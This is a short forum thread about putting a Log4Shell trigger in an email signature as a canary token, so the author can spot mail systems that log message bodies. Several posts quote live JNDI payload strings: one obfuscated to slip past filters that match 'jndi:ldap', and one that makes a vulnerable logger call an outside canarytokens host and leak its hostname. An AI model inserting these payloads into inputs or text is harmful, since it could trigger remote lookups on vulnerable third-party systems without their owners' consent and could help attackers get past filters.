"Log4j trigger in my signature so I can see logging copies of my mail"
1–8 of 8 posts
Re: "Log4j trigger in my signature so I can see logging copies of my mail"
#2Seems like the author is using CanaryToken. I wonder if I can use it to set up a canary email to improve my spam blocklists...
Re: "Log4j trigger in my signature so I can see logging copies of my mail"
#3Lots of mail gateways / mail security appliances do DNS lookups of URLs in the message body in order to check domain reputation and filter phishing links. It looks like he's using a DNS canary token which would be triggered by those as well.
Re: "Log4j trigger in my signature so I can see logging copies of my mail"
#4I was going to write that this will likely not find much - because, even if someone was scanning your email, who would be stupid enough to log the complete body - but... nevermind...
Re: "Log4j trigger in my signature so I can see logging copies of my mail"
#5Lots of mail gateways / mail security appliances do DNS lookups of URLs in the message body in order to check domain reputation and filter phishing links. It looks like he's using a DNS canary token which would be triggered by those as well.
Yep, see later in the thread for how I'm avoiding that now; basically it uses a second level of interpolation so that it will only expand to the token when log4j is expanding it:
${jndi:ldap://${::-t}${::-o}${::-k}${::-e}${::-n}/a}
Re: "Log4j trigger in my signature so I can see logging copies of my mail"
#6Lots of mail gateways / mail security appliances do DNS lookups of URLs in the message body in order to check domain reputation and filter phishing links. It looks like he's using a DNS canary token which would be triggered by those as well.
Yep, see later in the thread for how I'm avoiding that now; basically it uses a second level of interpolation so that it will only expand to the token when log4j is expanding it: ${jndi:ldap://${::-t}${::-o}${::-k}${::-e}${::-n}/a} I stole this trick from my Apache logs; people are using it to bypass dumb filters that just trigger on "jndi:ldap".
The fact this apparently triggers an error in Reddit is freaking hilarious.
Re: "Log4j trigger in my signature so I can see logging copies of my mail"
#7Earlier quoted context omitted.
Yep, see later in the thread for how I'm avoiding that now; basically it uses a second level of interpolation so that it will only expand to the token when log4j is expanding it: ${jndi:ldap://${::-t}${::-o}${::-k}${::-e}${::-n}/a} I stole this trick from my Apache logs; people are using it to bypass dumb filters that just trigger on "jndi:ldap".
The fact this apparently triggers an error in Reddit is freaking hilarious.
Many WAFs now block HTTP requests that will exploit it. Cloudflare (not what Reddit uses) does it for all customers automatically, for example.
Re: "Log4j trigger in my signature so I can see logging copies of my mail"
#8It looks like canarytokens has explicitly added generating log4shell tokens to their drop-down. E.g.:
${jndi:ldap://x${hostName}.L4J.qtwtesuzkqtu5wpklv4f2p2b2.canarytokens.com/a}